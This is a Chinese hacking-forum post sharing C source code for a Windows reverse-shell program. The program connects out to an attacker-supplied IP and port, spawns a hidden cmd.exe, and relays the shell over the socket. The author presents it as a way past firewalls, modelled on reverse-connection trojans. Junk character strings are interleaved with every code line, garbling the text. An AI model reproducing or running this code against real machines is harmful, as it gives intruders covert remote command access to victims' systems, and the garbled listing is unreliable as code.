社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6680阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 eP~bl   
_hnsH I!oD  
/* ============================== ?NE/ }?a  
Rebound port in Windows NT ?K$&|w%{3  
By wind,2006/7 &M-vKc"d  
===============================*/ /gAT@Vx  
#include TX)W.2u=  
#include d` GN!^  
V x#M!os0  
#pragma comment(lib,"wsock32.lib") sY<UJlDKT  
?NBae\6r  
void OutputShell(); Z+B*V )a=  
SOCKET sClient; [kg^S`gc#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Dgz, Uad8f  
Z?P^Y%ls  
void main(int argc,char **argv) Q{~g<G  
{ (wj:Gc  
WSADATA stWsaData; e5mu-  
int nRet; [%k8l~ 6  
SOCKADDR_IN stSaiClient,stSaiServer; 7U7!'xU  
lIyMNw  
if(argc != 3) 'VV U-)(8  
{ yPE3Awh5  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?I]AE&4'  
return; SM~~:  
} yjT>bu]  
P'wo+Tn*  
WSAStartup(MAKEWORD(2,2),&stWsaData); =!-}q  
k"#gSCW$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H+*3e&  
+-tFgXG  
stSaiClient.sin_family = AF_INET; 75a3hPCZ  
stSaiClient.sin_port = htons(0); Hn >VPz+I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NU=2*gM  
`h'+4  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?Uq"zq  
{ g$]WKy(D  
printf("Bind Socket Failed!\n"); DpggZ|J  
return; {|>'(iqH"w  
} }$i"t8"s  
% PzkVs  
stSaiServer.sin_family = AF_INET; G,>YzjMY`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7c"Csq/]I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u7mPp3ZYK  
%GTFub0 F  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N!ihj:,  
{ ZBDF>u@  
printf("Connect Error!"); \ Bj{.jL  
return; MWme3u)D  
} wU|@fm"  
OutputShell(); # bHkI~  
} n UmyPQ~  
%|e)s_%XE  
void OutputShell() gy@=)R/~  
{ ,KJHYm=Q  
char szBuff[1024]; ,c:NdY(,)  
SECURITY_ATTRIBUTES stSecurityAttributes; Iuz_u2"C  
OSVERSIONINFO stOsversionInfo; 4Q0ZY(2 EO  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d4ecF%R  
STARTUPINFO stStartupInfo; >3p~>;9sc  
char *szShell; MrzD ah9UG  
PROCESS_INFORMATION stProcessInformation; Tr_gc~  
unsigned long lBytesRead; dV[G-p  
6!>p<p"Ns  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M?YNK]   
RWv4/=}(G  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); z=KDkpV  
stSecurityAttributes.lpSecurityDescriptor = 0; ]7}!3m  
stSecurityAttributes.bInheritHandle = TRUE; 7Tk//By7  
q;bw }4  
3F]Dh^IR9  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;U>nj],uv  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y Iwa =^  
W+ ;=8S  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ke8g tbm  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VxDIA_@y  
stStartupInfo.wShowWindow = SW_HIDE; QTBc_Z  
stStartupInfo.hStdInput = hReadPipe; x)=l4A\  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7YD+zd:  
j7ZxA*  
GetVersionEx(&stOsversionInfo); %JrZMs>  
s8&q8r7%  
switch(stOsversionInfo.dwPlatformId) _U&HXQ8X  
{ rl 7up  
case 1: MoN0w.V  
szShell = "command.com"; c45 s #6  
break; :se$<d%  
default: &u[{VR:  
szShell = "cmd.exe"; H2%Qu<Kg2  
break; lXTE#,XVf  
} X PyDZk/m  
HhQ0>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vY_[@y  
pWKE`x^  
send(sClient,szMsg,77,0); 1W'Ai"DLw  
while(1) b]b>i]n  
{ u ,3B[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &PE%tm  
if(lBytesRead) BJwuN  
{ 0#OyT'~V%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R`@T<ob)  
send(sClient,szBuff,lBytesRead,0); pM@8T25=  
} s4_Dqm  
else z(LR!hr  
{ 9{OO'at?  
lBytesRead=recv(sClient,szBuff,1024,0); 'wEQvCS  
if(lBytesRead<=0) break; ^'E^*R  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); w"?Q0bhV9y  
} ,:PMS8pS  
} 53{\H&q  
^+D/59I  
return; ns>$  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八